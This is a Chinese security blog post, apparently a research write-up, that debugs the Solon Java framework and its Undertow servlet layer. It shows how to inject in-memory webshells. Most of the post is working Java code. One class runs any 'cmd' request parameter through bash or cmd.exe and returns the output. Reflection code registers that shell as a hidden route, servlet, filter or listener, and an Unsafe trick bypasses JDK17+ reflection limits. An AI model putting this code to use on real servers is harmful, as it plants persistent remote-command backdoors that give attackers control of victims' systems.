接上一篇文章思考部分,该框架应该还可以注入其他内存马,下面通过对solon-examples这个项目调试分析
命名可能不太准确,暂时这么叫吧,调试的是demo3011-web
在HelloworldController中,在此思考一个问题,路由“/helloworld”是如何绑定HelloworldController类的helloworld()方法的,断点调试一下
逐个查看和分析当前调用栈,来到org.noear.solon.core.route.RouterHandler这个类的handle方法
其中this.router大有来头,里面存储着当前所有的路径信息,包括对应作用的类和方法,请求路径和请求方式
找到“/helloworld”,可以看到ActionDefault对象里存储着对应类HelloworldController
如果能够动态的在routesH添加一条RouterDefault,估计就能够实现内存马了
如何添加?
在org.noear.solon.core.route.RouterDefault这个类中,存在add方法,可以往routesH[1]添加RoutingDefault
add方法有几个,找个简单点的
其中第一个参数expr是路径,MethodType method是请求方式,至于Handler handler,则是一个ActionDefault对象,ActionDefault实现了Handler
这里new一个ActionDefault对象就行了,查看构造方法
使用最简单的,也需要两个参数,其中BeanWrap 对象需要 AppContext和Class两个参数
AppContext 是 Solon 框架的核心组件是应用上下文接口,可在上下文获取,Class clz则是路径下对应的类
回到ActionDefault这里的Method,则是Class clz下的方法,就是只访问路径时,会调用的方法,这个可通过反射获取
综上,内存马构造如下:
第一步,先搞个恶意类:
public static class MemShell{
public MemShell(){
}
public void pwn(){
Context ctx \= Context.current();
try{
if(ctx.param("cmd")!=null){
String str \= ctx.param("cmd");
try{
String\[\] cmds \=
System.getProperty("os.name").toLowerCase().contains("win") ? new String\[\]{"cmd.exe",
"/c", str} : new String\[\]{"/bin/bash", "-c", str};
String output \= (new java.util.Scanner((new
ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\\\A").next();
ctx.output(output);
}catch (Exception e) {
e.printStackTrace();
}
}
}catch (Throwable e){
ctx.output(e.getMessage());
}
}
}
第二步,获取到存储大量路径内容的RouterDefault,即前面的this.router ,还有获取AppContext
反射获取对象:
public Object getfieldobj(Object obj, String fieldname) throws NoSuchFieldException, IllegalAccessException {
try{
Field field \= obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
Object fieldobj \= field.get(obj);
return fieldobj;
}catch (NoSuchFieldException e) {
Field field \= obj.getClass().getSuperclass().getDeclaredField(fieldname);
field.setAccessible(true);
Object fieldobj \= field.get(obj);
return fieldobj;
}
}
获取RouterDefault和AppContext ,这个可以使用java-object-searcher工具查找
Context ctx \= Context.current();
Object \_request \= getfieldobj(ctx,"\_request");
Object request \= getfieldobj(\_request,"request");
Object serverHandler \= getfieldobj(request,"serverHandler");
Object handler \= getfieldobj(serverHandler,"handler");
Object arg$1 \= getfieldobj(handler,"arg$1");
AppContext appContext \= (AppContext) getfieldobj(arg$1,"\_context");
RouterDefault \_router \= (RouterDefault) getfieldobj(arg$1,"\_router");
第三步,注册
BeanWrap beanWrap \= new BeanWrap(appContext,MemShell.class);
Method method \= MemShell.class.getDeclaredMethod("pwn");
Handler newhandler \= new ActionDefault(beanWrap,method);
\_router.add("/pwn", MethodType.ALL,newhandler);
验证:动态注册后访问
总会有些老的项目或者某些框架,必须使用 Servlet 的接口。。。Solon 对这种项目,也提供了良好的支持。
当需要 Servlet 接口时,需要使用插件:
这块内容,也有助于用户了解 Solon 与 Servlet 的接口关系。Solon 有自己的 Context + Handler 接口设计,通过它以适配 Servlet 和 Not Servlet 的 http server,以及 websocket, socket(以实现三源合一的目的):
调试发现,这里用的是io.undertow.servlert
的api,即JBoss AS (JBoss Application Server),和常用的不太一样
使用demo3012-web_servlet进行调试分析,查看这些中间件是如何被注册的,在HeheServlet下个断点,访问对应路径进行调试
发现有很多个handleRequest,查看最初始的那个,来到了io.undertow.servlet.handlers.ServletInitialHandler
这里的servletRequestContext应该是当前请求的上下文,查看servletRequestContext.getOriginalServletPathMatch().getServletChain()
可以看到当前请求所对应的Servlet的信息,保存在Servletinfo对象中,查看一下这个类,来到io.undertow.servlet.api.ServletInfo
这个类的构造函数中就,会保存servlet的类和名。Servlet是应用启动时注册的,在这里下个断点,重启应用
成功断点,并来到了注册HeHeServlet的瞬间,调用栈往前查看,来到io.undertow.servlet.spec.ServletContextImpl
的addServlet
这个直接就是Servlet被注册的过程了,可以根据这几个步骤进行动态注册
PS:这里不能直接用当前的addServlet
,前面存在判断this.ensureNotInitialized();
,如果已经初始化了,就不再能往下允许,尝试反射修改也改不了
大概步骤:
首先我们需要两个对象,deployment和deploymentInfo,其实拿到deployment就能拿到deploymentInfo
如何拿到deployment和deploymentInfo?,这需要分为两种情况,如果已经当前存在类似ServletRequest req, ServletResponse res的对象,可直接反射req获取
但是正常情况下,还是建议从ThreadLocal下获取
TargetObject \= {java.lang.Thread}
\---> threadLocals \= {java.lang.ThreadLocal$ThreadLocalMap}
\---> table \= {class \[Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
\---> \[10\] \= {java.lang.ThreadLocal$ThreadLocalMap$Entry}
\---> value \= {io.undertow.servlet.handlers.ServletRequestContext}
\---> deployment \= {io.undertow.servlet.core.DeploymentImpl}
\---> deploymentInfo \= {io.undertow.servlet.api.DeploymentInfo}
```
```java
public Object getCurrentThreadObj(String classname) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
try{
Thread currentThread \= Thread.currentThread();
Object threadLocals \= getfieldobj(currentThread,"threadLocals");
Object\[\] table \= (Object\[\]) getfieldobj(threadLocals,"table");
for(int i\=0; i<table.length;i++){
Object tmpobj \= table\[i\];
if(tmpobj\==null) continue;
Object obj \= getfieldobj(tmpobj,"value");
if(obj!=null && obj.getClass().getName().equals(classname)){
return obj;
}
}
}catch (Exception e){
e.printStackTrace();
return null;
}
return null;
}
内存马注册代码如下:
Object o \= getCurrentThreadObj("io.undertow.servlet.handlers.ServletRequestContext");
Deployment deployment \= (Deployment) getfieldobj(o,"deployment");
DeploymentInfo deploymentInfo \= deployment.getDeploymentInfo();
ServletInfo servletInfo \= new ServletInfo("ServletMemShell", MemServlet.class).addMapping("/S");
deploymentInfo.addServlet(servletInfo);
deployment.getServlets().addServlet(servletInfo);
其中getfieldobj
public Object getfieldobj(Object obj, String fieldname) throws NoSuchFieldException, IllegalAccessException {
try{
Field field \= obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
Object fieldobj \= field.get(obj);
return fieldobj;
}catch (NoSuchFieldException e) {
Field field \= obj.getClass().getSuperclass().getDeclaredField(fieldname);
field.setAccessible(true);
Object fieldobj \= field.get(obj);
return fieldobj;
}
}
MemServlet.class如下:
public static class MemServlet extends HttpServlet {
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
res.setContentType("text/html;charset=utf-8");
res.getWriter().write("MemServlet\\n");
//......
}
}
验证
同样的套路,调试分析,来到第一个doFilter这里
这里是通过遍历this.filters来获取filter的,
而这个this.filters的赋值在构造函数,在此断点,启动调试
往前,发现这个filters也是和deploymentInfo有联系
继续往前看,跟踪一下这个noExtension,在io.undertow.servlet.handlers.ServletPathMatches::setupServletChains
中调用了creatHandler
往上查看发现addToListMap(noExtension, filterMapping.getDispatcher(), filter);
根进查看,大概的意思是将filter添加到noExtension的list中
而filter是来自deploymentInfo
继续往上看的话,deploymentInfo
是通过this.deployment.getDeploymentInfo()
获取的
this.deployment是通过构造函数赋值的,又在此下断点,重启调试,往上跟踪
再往上来到了DeploymentManagerImpl的deploy,找到了deployment的源头
这个方法往下运行会调用一个createServletsAndFilters方法跟进查看
发现这个和添加Servlets类似
大概就是
FilterInfo filterInfo\=new FilterInfo("name", filter.class);
deploymentInfo.addFilter(filterInfo);
deployment.getFilters().addFilter(filterInfo);
如何添加路由,没有指定路由无法触发filter
经过查找发现,这个Filter路由匹配是由deploymentInfo管理的
只需要deploymentInfo.insertFilterUrlMapping(0,"FilterMemShell","/hello/*",DispatcherType.REQUEST);
即可
综上:
FilterInfo filterInfo\=new FilterInfo("FilterMemShell", MemFilter.class);
deploymentInfo.addFilter(filterInfo);
deploymentInfo.insertFilterUrlMapping(0,"FilterMemShell","/hello/\*",DispatcherType.REQUEST);
deployment.getFilters().addFilter(filterInfo);
验证:
同样套路调试
往前,在ApplicationListeners中的requestInitialized调用
this.servletRequestListeners存储着所有的Listener,通过当前类ApplicationListeners的addListener添加
其构造方法,就已经在添加了
重启调试一下发现createListeners 里面添加,还是this.deployment
到这里思路就很清晰了,首先要deploymentInfo.addListener(listenerInfo),让后再调用ApplicationListeners的addListener里面即可
如何获取ApplicationListeners?
这个简单,deployment.getApplicationListeners()即可
综上:
ListenerInfo listenerInfo \= new ListenerInfo(MemListener.class);
deploymentInfo.addListener(listenerInfo);
ManagedListener managedListener \= new ManagedListener(listenerInfo,false);
deployment.getApplicationListeners().addListener(managedListener);
其中MemListener.class要回显,则需要获取HttpServletResponseImpl
TargetObject = {java.lang.Thread}
---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
---> table = {class \[Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
---> \[10\] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
---> value = {io.undertow.servlet.handlers.ServletRequestContext}
---> originalResponse = {io.undertow.servlet.spec.HttpServletResponseImpl}
回显编写
public class TmpListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("AAA\\n");
try {
bypassreflect(TmpListener.class); //绕过JDK17+反射限制
Object o \= getCurrentThreadObj("io.undertow.servlet.handlers.ServletRequestContext");
HttpServletResponseImpl response \= (HttpServletResponseImpl) getfieldobj(o,"originalResponse");
response.getWriter().write("MemListener!!!");
} catch (Exception e) {
e.printStackTrace();
}
}
public void bypassreflect(Class currentClass) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class unsafeClass \= Class.forName("sun.misc.Unsafe");
Field field \= unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe \= (Unsafe) field.get(null);
Module baseModule \= Object.class.getModule();
long addr \= unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
}
public Object getfieldobj(Object obj, String fieldname) throws NoSuchFieldException, IllegalAccessException {
try{
Field field \= obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
Object fieldobj \= field.get(obj);
return fieldobj;
}catch (NoSuchFieldException e) {
Field field \= obj.getClass().getSuperclass().getDeclaredField(fieldname);
field.setAccessible(true);
Object fieldobj \= field.get(obj);
return fieldobj;
}
}
public Object getCurrentThreadObj(String classname) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
try{
Thread currentThread \= Thread.currentThread();
Object threadLocals \= getfieldobj(currentThread,"threadLocals");
Object\[\] table \= (Object\[\]) getfieldobj(threadLocals,"table");
for(int i\=0; i<table.length;i++){
Object tmpobj \= table\[i\];
if(tmpobj\==null) continue;
Object obj \= getfieldobj(tmpobj,"value");
if(obj!=null && obj.getClass().getName().equals(classname)){
return obj;
}
}
}catch (Exception e){
e.printStackTrace();
return null;
}
return null;
}
}
验证:
https://xz.aliyun.com/t/12161?time__1311=GqGxRDuDgQD%3DG%3DD%2FYriQGkbHKE%2BzkF4D
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!